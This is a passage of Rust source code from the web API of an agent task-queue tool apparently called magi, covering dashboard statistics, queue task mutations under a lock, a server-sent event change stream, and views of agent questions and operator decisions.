7248impl From<&stats::DayBucket> for DailyStatsView {
7249    fn from(b: &stats::DayBucket) -> Self {
7250        Self {
7251            date: b.date.to_string(),
7252            runs: b.runs,
7253            merged: b.merged,
7254            ready: b.ready,
7255            other: b.other,
7256            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7257        }
7258    }
7259}
7260
7261/// How many days [`StatsView::daily`] covers.
7262const STATS_DAILY_DAYS: usize = 30;
7263
7264/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7265/// repository. Matched by full-path equality against `RunState.repo` only
7266/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7267/// `--repo` is, because the value here always came from this same route's
7268/// own `repos` list in an earlier response, never typed by a human. A value
7269/// matching no run is a 404, not an empty aggregate: the caller asked for a
7270/// specific, named repository, and silently returning zeroes would look
7271/// exactly like a repository that has runs but none of interest.
7272#[derive(Debug, Default, Deserialize)]
7273#[serde(default)]
7274struct StatsQuery {
7275    repo: Option<String>,
7276    /// `?all=true` keeps agents that are no longer in the roster.
7277    all: bool,
7278    /// The dashboard fetches queue counts independently of run history.
7279    runs_only: bool,
7280}
7281
7282/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7283/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7284/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7285/// prints from. Reads every readable run on disk, exactly as
7286/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7287/// a separately-maintained tally could.
7288async fn stats_get(
7289    State(ui): State<Arc<Ui>>,
7290    Query(q): Query<StatsQuery>,
7291) -> ApiResult<Json<StatsView>> {
7292    blocking(move || {
7293        let states: Vec<RunState> = run_ids(&ui.runs)
7294            .into_iter()
7295            .filter_map(|id| read_run(&ui.runs, &id).ok())
7296            .collect();
7297        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7298            .iter()
7299            .map(RepoSummaryView::from)
7300            .collect();
7301        let mut scoped: Vec<&RunState> = states.iter().collect();
7302        let mut collected = match &q.repo {
7303            Some(repo) => {
7304                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7305                if filtered.is_empty() {
7306                    return Err(ApiError::not_found(format!(
7307                        "no runs recorded against repo `{repo}`"
7308                    )));
7309                }
7310                scoped = filtered.clone();
7311                stats::collect_refs(filtered)
7312            }
7313            None => stats::collect(&states),
7314        };
7315        if !q.all {
7316            let repo = q
7317                .repo
7318                .as_deref()
7319                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7320            stats::retain_current_roster(&mut collected, &repo);
7321        }
7322        let daily = stats::daily(
7323            scoped,
7324            jiff::Zoned::now().date(),
7325            &jiff::tz::TimeZone::system(),
7326            STATS_DAILY_DAYS,
7327        );
7328        let queue_counts = (!q.runs_only)
7329            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7330        Ok(Json(StatsView {
7331            totals: StatsTotalsView::from(&collected.totals),
7332            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7333            reviewers: collected
7334                .reviewers
7335                .iter()
7336                .map(ReviewerStatsView::from)
7337                .collect(),
7338            advisors: collected
7339                .advisors
7340                .iter()
7341                .map(AdvisorStatsView::from)
7342                .collect(),
7343            e2e: E2eStatsView::from(&collected.e2e),
7344            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7345            queue: queue_counts,
7346            runs_unreadable: runs_unreadable(&ui.runs),
7347            repos,
7348            daily: daily.iter().map(DailyStatsView::from).collect(),
7349            repo: q.repo.clone(),
7350            retired_hidden: collected.retired_hidden.clone(),
7351        }))
7352    })
7353    .await
7354}
7355
7356/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7357/// gives no reason - which must keep working, since not every hold has one.
7358#[derive(Debug, Default, Deserialize)]
7359#[serde(default, deny_unknown_fields)]
7360struct HoldBody {
7361    reason: Option<String>,
7362}
7363
7364async fn queue_hold(
7365    State(ui): State<Arc<Ui>>,
7366    Path(id): Path<String>,
7367    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7368) -> ApiResult<Json<TaskView>> {
7369    // An absent body is the ordinary case - most holds are unexplained, and
7370    // that has to stay a one-tap action rather than a form. A body that is
7371    // present and malformed is still a bad request.
7372    let body = match body {
7373        Ok(Json(body)) => body,
7374        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7375        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7376    };
7377    let reason = body.reason.filter(|r| !r.trim().is_empty());
7378    mutate(ui, id, move |t| {
7379        t.hold_manual(reason.clone());
7380        Ok(())
7381    })
7382    .await
7383}
7384
7385#[derive(Deserialize)]
7386#[serde(deny_unknown_fields)]
7387struct ReassignBody {
7388    repo: PathBuf,
7389}
7390
7391async fn queue_reassign(
7392    State(ui): State<Arc<Ui>>,
7393    Path(id): Path<String>,
7394    Json(body): Json<ReassignBody>,
7395) -> ApiResult<Json<TaskView>> {
7396    let home = ui.home.clone();
7397    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7398        .await
7399        .map_err(ApiError::bad_request_from)?;
7400    let notes = crate::task_reassign::advisory_notes(&task, &home);
7401    let mut view = TaskView::from(task);
7402    view.reassignment_notes = notes;
7403    Ok(Json(view))
7404}
7405
7406async fn queue_release(
7407    State(ui): State<Arc<Ui>>,
7408    Path(id): Path<String>,
7409) -> ApiResult<Json<TaskView>> {
7410    mutate(ui, id, |t| {
7411        t.release_operator("web", None);
7412        Ok(())
7413    })
7414    .await
7415}
7416
7417#[derive(Debug, Deserialize)]
7418#[serde(deny_unknown_fields)]
7419struct AttemptLimitBody {
7420    // Required even when clearing: missing fields must not silently erase an override.
7421    attempt_limit: serde_json::Value,
7422}
7423
7424async fn queue_attempt_limit(
7425    State(ui): State<Arc<Ui>>,
7426    Path(id): Path<String>,
7427    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7428) -> ApiResult<Json<TaskView>> {
7429    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7430    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7431        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7432    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7433}
7434
7435#[derive(Debug, Deserialize)]
7436#[serde(deny_unknown_fields)]
7437struct ImplementersBody {
7438    implementers: u8,
7439}
7440
7441async fn queue_implementers(
7442    State(ui): State<Arc<Ui>>,
7443    Path(id): Path<String>,
7444    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7445) -> ApiResult<Json<TaskView>> {
7446    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7447    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7448}
7449
7450#[derive(Debug, Deserialize)]
7451#[serde(deny_unknown_fields)]
7452struct UrgentBody {
7453    urgent: bool,
7454}
7455
7456async fn queue_urgent(
7457    State(ui): State<Arc<Ui>>,
7458    Path(id): Path<String>,
7459    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7460) -> ApiResult<Json<TaskView>> {
7461    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7462    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7463}
7464
7465/// The body of `POST /api/queue/{id}/priority`.
7466#[derive(Debug, Deserialize)]
7467#[serde(deny_unknown_fields)]
7468struct PriorityBody {
7469    priority: i32,
7470}
7471
7472/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7473///
7474/// [`Task::set_priority`] is the one place the "not while running" rule is
7475/// stated; this route only carries the body to it and lets its `Err` become
7476/// the 4xx the card shows.
7477async fn queue_priority(
7478    State(ui): State<Arc<Ui>>,
7479    Path(id): Path<String>,
7480    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7481) -> ApiResult<Json<TaskView>> {
7482    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7483    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7484}
7485
7486/// The body of `POST /api/queue/{id}/edit`.
7487#[derive(Debug, Deserialize)]
7488#[serde(deny_unknown_fields)]
7489struct EditBody {
7490    title: String,
7491    instruction: String,
7492    /// Save even though the new text names a branch, commit or pull request
7493    /// that unfinished work already owns.
7494    #[serde(default)]
7495    force: bool,
7496}
7497
7498/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7499/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7500/// that refusal's message is what the sheet shows back.
7501async fn queue_edit(
7502    State(ui): State<Arc<Ui>>,
7503    Path(id): Path<String>,
7504    body: std::result::Result<Json<EditBody>, JsonRejection>,
7505) -> ApiResult<Json<TaskView>> {
7506    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7507    // The judge is an agent call, so it is awaited here, outside the claim
7508    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7509    // remembered, and the save refuses if the task moved underneath it.
7510    let mut judged: Option<(String, PathBuf)> = None;
7511    if !body.force {
7512        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7513        let (id, text) = (id.clone(), body.instruction.clone());
7514        let (seen, hits) = blocking(move || {
7515            let id = resolve_task(&queue, &id)?;
7516            let t = queue.get(&id)?;
7517            if text == t.instruction {
7518                return Ok((None, Vec::new()));
7519            }
7520            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7521            Ok((Some((t.instruction, t.repo)), hits))
7522        })
7523        .await?;
7524        if let Some((_, repo)) = &seen {
7525            let cfg = crate::config::Config::discover(repo, None)
7526                .ok()
7527                .map(|(c, _)| c);
7528            let screened =
7529                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7530                    .await
7531                    .map_err(|dup| {
7532                        ApiError::conflict(dup.render(
7533                            "Nothing was saved. If it is not a duplicate, repeat the request \
7534                             with \"force\": true.",
7535                        ))
7536                    })?;
7537            if let crate::dupes::Screened::Unjudged(why) = screened {
7538                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7539            }
7540        }
7541        judged = seen;
7542    }
7543    let force = body.force;
7544    mutate(ui, id, move |t| {
7545        if !force && body.instruction != t.instruction {
7546            match &judged {
7547                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7548                _ => {
7549                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7550                }
7551            }
7552        }
7553        t.edit(body.title.clone(), body.instruction.clone())
7554    })
7555    .await
7556}
7557
7558/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7559/// it, so the phone's other way to clear a task from the backlog does not
7560/// have to cost the run history, the attribution, and `created_at` the way
7561/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7562/// can be marked done by hand, because this is for the run the loop never
7563/// saw land - a merge done by hand, or a gate that misreported - and that can
7564/// happen from any status the task was left in.
7565async fn queue_done(
7566    State(ui): State<Arc<Ui>>,
7567    Path(id): Path<String>,
7568) -> ApiResult<Json<TaskView>> {
7569    let home = ui.home.clone();
7570    mutate(ui, id, move |t| {
7571        t.succeed();
7572        // Same as the loop's own settle path: closing a task by hand is just
7573        // as much "this task's story is over" as a daemon-driven `Merged`/
7574        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
7575        // behind must stop looking like it still needs a human. `ui.home`,
7576        // not the process-global `run::home()`: they agree in a real
7577        // process, but only `ui.home` also agrees with a test fixture's own
7578        // directory.
7579        crate::daemon::supersede_prior_runs(t, &home);
7580        Ok(())
7581    })
7582    .await
7583}
7584
7585/// `DELETE /api/queue/{id}`.
7586///
7587/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7588/// names this task: a `running` status or an orphaned `.lock` left behind by a
7589/// killed daemon is a leftover, and treating either as authority made the
7590/// task undeletable from the phone for good. The associated runs, if any, are
7591/// kept: a run is self-contained history and not an appendage of the task.
7592async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7593    blocking(move || {
7594        let id = resolve_task(&ui.queue, &id)?;
7595        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7596        ui.queue
7597            .remove(&id, in_flight, &ui.questions)
7598            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7599        Ok(StatusCode::NO_CONTENT)
7600    })
7601    .await
7602}
7603
7604/// Read a task, change it, write it back, under the queue's own lock.
7605///
7606/// Taking the same claim a daemon takes is what makes hold, release,
7607/// priority, edit, and done safe to press while magi is running: without it
7608/// the daemon's next save would land on top of the operator's change and
7609/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7610/// both do, for a running task - and that refusal becomes the 4xx the card
7611/// shows, same as any other domain rule.
7612async fn mutate(
7613    ui: Arc<Ui>,
7614    id: String,
7615    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7616) -> ApiResult<Json<TaskView>> {
7617    blocking(move || {
7618        let id = resolve_task(&ui.queue, &id)?;
7619        // `claim` fails when the lock file already exists, which is the
7620        // conflict the UI must report: the daemon owns that task's file for
7621        // as long as it is running it, and our write would be lost under its
7622        // next save. The message names the lock either way.
7623        let _claim = ui.queue.claim(&id).map_err(|e| {
7624            ApiError::conflict(format!(
7625                "{e:#} - a daemon is running this task, so it cannot be \
7626                 changed from here yet; wait until it is released, then retry"
7627            ))
7628        })?;
7629        let mut task = ui.queue.get(&id)?;
7630        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7631            Ok(dup) => ApiError::conflict(dup.render(
7632                "Nothing was saved. If it is not a duplicate, repeat the request with \
7633                 \"force\": true.",
7634            )),
7635            Err(e) => ApiError::bad_request_from(e),
7636        })?;
7637        ui.queue.put(&mut task)?;
7638        Ok(Json(TaskView::from(task)))
7639    })
7640    .await
7641}
7642
7643/// The change stream: one revision number per store, on connect and whenever
7644/// any of them moves.
7645///
7646/// One shared worker scans stores; clients only forward its notifications.
7647async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7648    ui.monitor.ensure_worker(&ui);
7649    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7650    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7651
7652    let state = Arc::clone(&ui);
7653    tokio::spawn(async move {
7654        let initial_revisions = {
7655            let guard = match state.monitor.latest.lock() {
7656                Ok(g) => g,
7657                Err(p) => p.into_inner(),
7658            };
7659            guard.as_ref().map(|(r, _)| *r)
7660        };
7661        if let Some(revisions) = initial_revisions {
7662            let initial_payload = serde_json::json!({
7663                "queue_rev": revisions.0,
7664                "runs_rev": revisions.1,
7665                "questions_rev": revisions.2,
7666                "talks_rev": revisions.3,
7667                "notifications_rev": revisions.4,
7668                "loop_rev": revisions.5,
7669            });
7670
7671            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7672                if tx.send(event).await.is_err() {
7673                    return;
7674                }
7675            }
7676        }
7677
7678        loop {
7679            match tokio::select! {
7680                _ = tx.closed() => return,
7681                value = broadcast_rx.recv() => value,
7682            } {
7683                Ok(notif) => {
7684                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7685                    else {
7686                        break;
7687                    };
7688                    if tx.send(event).await.is_err() {
7689                        break;
7690                    }
7691                }
7692                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7693                    let revs = {
7694                        let guard = match state.monitor.latest.lock() {
7695                            Ok(g) => g,
7696                            Err(p) => p.into_inner(),
7697                        };
7698                        guard.as_ref().map(|(r, _)| *r)
7699                    };
7700                    if let Some(revs) = revs {
7701                        let payload = serde_json::json!({
7702                            "queue_rev": revs.0,
7703                            "runs_rev": revs.1,
7704                            "questions_rev": revs.2,
7705                            "talks_rev": revs.3,
7706                            "notifications_rev": revs.4,
7707                            "loop_rev": revs.5,
7708                        });
7709                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7710                            if tx.send(event).await.is_err() {
7711                                break;
7712                            }
7713                        }
7714                    }
7715                }
7716                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7717                    break;
7718                }
7719            }
7720        }
7721    });
7722
7723    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7724        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7725}
7726
7727/// Run ids under `runs`, newest first.
7728///
7729/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7730/// which reads the process-global home: the server has to be drivable against
7731/// a temp directory for any of this to be testable.
7732fn run_ids(runs: &FsPath) -> Vec<String> {
7733    let mut ids: Vec<String> = std::fs::read_dir(runs)
7734        .into_iter()
7735        .flatten()
7736        .flatten()
7737        .filter(|e| e.path().join("run.json").is_file())
7738        .map(|e| e.file_name().to_string_lossy().into_owned())
7739        .collect();
7740    // Ids start with a sortable timestamp.
7741    ids.sort_unstable_by(|a, b| b.cmp(a));
7742    ids
7743}
7744
7745/// Read one run's state from an explicit runs root.
7746fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7747    let path = runs.join(id).join("run.json");
7748    let body =
7749        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7750    let state: RunState =
7751        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7752    // The same migration `RunState::load` applies, so a record from the
7753    // previous schema reads here as it does everywhere else (an origin-less
7754    // run shows as "origin unknown") instead of vanishing from the phone the
7755    // moment the schema is bumped.
7756    run::migrate_schema(state)
7757}
7758
7759/// Runs on disk under `runs` whose state this build cannot parse - almost
7760/// always a schema bump, occasionally a run killed mid-write.
7761///
7762/// Exposed so every surface that reports on runs shares one count instead of
7763/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7764/// `magi doctor` calls this directly rather than guessing at the same number
7765/// a second way.
7766#[must_use]
7767pub fn runs_unreadable(runs: &FsPath) -> usize {
7768    run_ids(runs)
7769        .into_iter()
7770        .filter(|id| read_run(runs, id).is_err())
7771        .count()
7772}
7773
7774fn plain_record_id(id: &str) -> bool {
7775    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7776}
7777
7778/// Expand an id or short id to exactly one run id.
7779fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7780    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7781        return Ok(id.to_owned());
7782    }
7783    pick(run_ids(runs), id, "run")
7784}
7785
7786/// Expand an id or short id to exactly one task id.
7787fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7788    if plain_record_id(id) && queue.path_of(id).is_file() {
7789        return Ok(id.to_owned());
7790    }
7791    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7792    pick(ids, id, "task")
7793}
7794
7795/// A question as the phone reads it.
7796///
7797/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7798/// text already parsed into a node tree so the client never runs its own
7799/// markdown reader over agent-authored prose. A relative image path in it
7800/// resolves against this question's own panel asset route, which is the one
7801/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7802/// separate, sandboxed document, but `detail` is rendered inline in the
7803/// operator's own page, so an image reference in it may only ever point at
7804/// files magi itself already serves for this question.
7805#[derive(Debug, Serialize)]
7806struct QuestionView {
7807    choice_effects: std::collections::BTreeMap<String, String>,
7808    record_revision: String,
7809    #[serde(flatten)]
7810    question: Question,
7811    detail_md: Vec<md::Node>,
7812    posting_view: Option<PostingView>,
7813    /// Each thread turn's body, parsed; same order as `question.thread`.
7814    thread_bodies_md: Vec<Vec<md::Node>>,
7815    /// Each thread turn's deputy note, parsed (`None` for a turn without
7816    /// one); same order as `question.thread`.
7817    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7818    /// Is the ball in the agent's court right now?
7819    ///
7820    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7821    /// [`Question::say`] - so this is the one field that tells the phone to
7822    /// disable the answer controls and show "waiting for the agent" instead of
7823    /// a card the owner can act on. Computed rather than stored on
7824    /// [`Question`] itself, on the same reasoning as `waiting` on
7825    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7826    /// it here means the client never has to re-derive that rule.
7827    waiting_on_agent: bool,
7828    /// Who is waiting on this open question - see [`holder_of`]. Separate
7829    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7830    /// anyone is there to take it.
7831    holder: Option<&'static str>,
7832    /// Whether `magi serve` can start a follow-up agent for a conductor
7833    /// question at all: false when `daemon.max_deputies = 0` or the config is
7834    /// unreadable. Separate from `holder`, which says who is listening now.
7835    deputies_enabled: bool,
7836    /// All starts were spent and no live holder remains. Display-only: the
7837    /// final attempt increments `starts` before running under its lease.
7838    deputy_exhausted: bool,
7839    text_delivery: crate::question_delivery::Availability,
7840    /// `question.run` is a task id (conductor / triage questions), not a run
7841    /// id, so the UI links it to the task page.
7842    run_is_task: bool,
7843    /// The existing chat this question's task came from, including settled
7844    /// questions - see [`crate::consult::associated_talk`].
7845    origin_chat: Option<String>,
7846    /// `origin_chat` is closed; consulting reopens it first.
7847    origin_chat_closed: bool,
7848    /// Consultation eligibility is separate from navigation to the chat.
7849    can_consult_chat: bool,
7850}
7851
7852#[derive(Debug, Serialize)]
7853struct PostingView {
7854    before_md: Vec<md::Node>,
7855    after_md: Vec<md::Node>,
7856    fields: Vec<crate::github_text::ComparisonView>,
7857}
7858
7859fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7860    let comparison = question.posting_comparison.as_ref()?;
7861    if !comparison.matches_detail(&question.detail) {
7862        return None;
7863    }
7864    let mut ids = std::collections::BTreeSet::new();
7865    if comparison.fields.is_empty()
7866        || comparison
7867            .fields
7868            .iter()
7869            .flat_map(|f| &f.pairs)
7870            .any(|p| !ids.insert(p.id))
7871        || comparison
7872            .fields
7873            .iter()
7874            .flat_map(|f| &f.original_triggers)
7875            .any(|t| !ids.insert(t.id))
7876    {
7877        return None;
7878    }
7879    let fields = comparison
7880        .fields
7881        .iter()
7882        .map(|f| f.view(comparison.excerpt))
7883        .collect::<Option<Vec<_>>>()?;
7884    Some(PostingView {
7885        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7886        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7887        fields,
7888    })
7889}
7890
7891impl QuestionView {
7892    /// The view of `question`, reading who is waiting on it from `store`.
7893    ///
7894    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7895    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7896        let base = md::ImageBase::QuestionPanel {
7897            id: question.id.clone(),
7898        };
7899        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7900        Self {
7901            choice_effects: question
7902                .choices
7903                .iter()
7904                .filter_map(|c| {
7905                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7906                })
7907                .collect(),
7908            record_revision: question_record_revision(&question),
7909            detail_md: md::to_nodes(&question.detail, &base),
7910            posting_view: posting_view(&question, &base),
7911            thread_bodies_md: question
7912                .thread
7913                .iter()
7914                .map(|t| md::to_nodes(&t.body, &base))
7915                .collect(),
7916            thread_notes_md: question
7917                .thread
7918                .iter()
7919                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7920                .collect(),
7921            deputy_exhausted: store.deputy_exhausted(&question),
7922            waiting_on_agent: question.waiting_on_agent(),
7923            holder,
7924            deputies_enabled: deputies_enabled(cfg, &question),
7925            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7926            run_is_task: question.run_names_task(),
7927            origin_chat: None,
7928            origin_chat_closed: false,
7929            can_consult_chat: false,
7930            question,
7931        }
7932    }
7933
7934    /// Fill `origin_chat` from the queue and the talks.
7935    fn with_origin(
7936        mut self,
7937        tasks: &[crate::queue::Task],
7938        talks: &[Talk],
7939        watches: &[crate::release_watch::WatchState],
7940    ) -> Self {
7941        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7942        self.can_consult_chat = consult.is_some();
7943        let talk =
7944            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7945        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7946        self.origin_chat = talk.map(|t| t.id);
7947        self
7948    }
7949}
7950
7951/// The config this repository resolves, or `None` when it cannot be read.
7952/// Discovering is git processes plus a config render, so a request that needs
7953/// it for many items takes it once and passes it down.
7954fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7955    Config::discover(repo, None).ok().map(|(c, _)| c)
7956}
7957
7958/// Can `magi serve` start a deputy for this question under `cfg`?
7959fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7960    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7961}
7962
7963/// The views `GET /api/questions` answers. `load` runs at most once, however
7964/// many questions there are, and not at all when there are none.
7965fn question_views(
7966    qs: Vec<Question>,
7967    store: &ask::Questions,
7968    load: impl FnOnce() -> Option<Config>,
7969) -> Vec<QuestionView> {
7970    if qs.is_empty() {
7971        return Vec::new();
7972    }
7973    let cfg = load();
7974    qs.into_iter()
7975        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7976        .collect()
7977}
7978
7979/// Who is honestly waiting on an open question right now: `"asker"` (the
7980/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7981/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7982/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7983/// up, or the question never had anyone listening (a conductor question or a
7984/// merge approval from before deputies, or not yet given one).
7985///
7986/// `None` for a question that is settled, and for one that is not an agent's
7987/// to wait on at all (a release notice).
7988fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7989    if !q.status.open() {
7990        return None;
7991    }
7992    if q.cwd.is_none()
7993        && q.deputy.is_none()
7994        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7995    {
7996        return crate::deputy::kind_of(q).map(|_| "nobody");
7997    }
7998    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7999        Some(_) if q.deputy.is_some() => "deputy",
8000        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8001        Some(_) => "asker",
8002        None => "nobody",
8003    })
8004}
8005
8006/// `GET /api/questions`.
8007///
8008/// Everything, not just the open ones: an answered question is the record of a
8009/// decision, and the phone is where the operator goes back to check what they
8010/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8011#[derive(serde::Serialize)]
8012struct DecisionView {
8013    id: String,
8014    task: String,
8015    run: Option<String>,
8016    chat: Option<String>,
8017    display: String,
8018    delivery_error: Option<String>,
8019    decision: crate::task_decision::Decision,
8020}
8021
8022impl DecisionView {
8023    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8024        Some(Self {
8025            id: inquiry.id,
8026            task: inquiry.task,
8027            run: inquiry.run,
8028            chat: inquiry.delivered_to,
8029            display: inquiry.display,
8030            delivery_error: inquiry.delivery_error,
8031            decision: inquiry.decision?,
8032        })
8033    }
8034}
8035
8036#[derive(serde::Serialize)]
8037struct DecisionsView {
8038    items: Vec<DecisionView>,
8039    unreadable: usize,
8040    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8041}
8042
8043// Read-only: list visits and inquiry links never create owner decisions,
8044// delivery receipts or effect acknowledgements.
8045async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8046    blocking(move || {
8047        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8048        let mut views: Vec<_> = items
8049            .into_iter()
8050            .filter_map(DecisionView::from_inquiry)
8051            .collect();
8052        views.sort_by_key(|view| {
8053            (
8054                view.decision.status == crate::task_decision::Status::Resolved,
8055                view.id.clone(),
8056            )
8057        });
8058        Ok(Json(DecisionsView {
8059            items: views,
8060            unreadable,
8061            migration_errors: crate::task_chat::migration_issues(&ui.home),
8062        }))
8063    })
8064    .await
8065}
8066
8067async fn decision_get(
8068    State(ui): State<Arc<Ui>>,
8069    Path(id): Path<String>,
8070) -> ApiResult<Json<DecisionView>> {
8071    blocking(move || {
8072        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8073        DecisionView::from_inquiry(inquiry)
8074            .map(Json)
8075            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8076    })
8077    .await
8078}
8079
8080async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8081    blocking(move || {
8082        let questions = ui.questions.list();
8083        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8084        Ok(Json(
8085            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8086                .into_iter()
8087                .map(|view| view.with_origin(&tasks, &talks, &watches))
8088                .collect(),
8089        ))
8090    })
8091    .await
8092}
8093
8094/// Question content and answer controls never wait for task/chat provenance.
8095async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8096    blocking(move || {
8097        Ok(Json(question_views(
8098            ui.questions.list(),
8099            &ui.questions,
8100            || deputy_config(&ui.repo),
8101        )))
8102    })
8103    .await
8104}
8105
8106fn question_record_revision(question: &Question) -> String {
8107    use std::hash::{Hash as _, Hasher as _};
8108    let mut hash = std::hash::DefaultHasher::new();
8109    serde_json::to_vec(question)
8110        .expect("serializable question")
8111        .hash(&mut hash);
8112    format!("{:016x}", hash.finish())
8113}
8114
8115#[derive(Serialize)]
8116struct QuestionOriginView {
8117    id: String,
8118    record_revision: String,
8119    origin_chat: Option<String>,
8120    origin_chat_closed: bool,
8121    can_consult_chat: bool,
8122}
8123
8124async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8125    blocking(move || {
8126        let questions = ui.questions.list();
8127        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8128        Ok(Json(
8129            questions
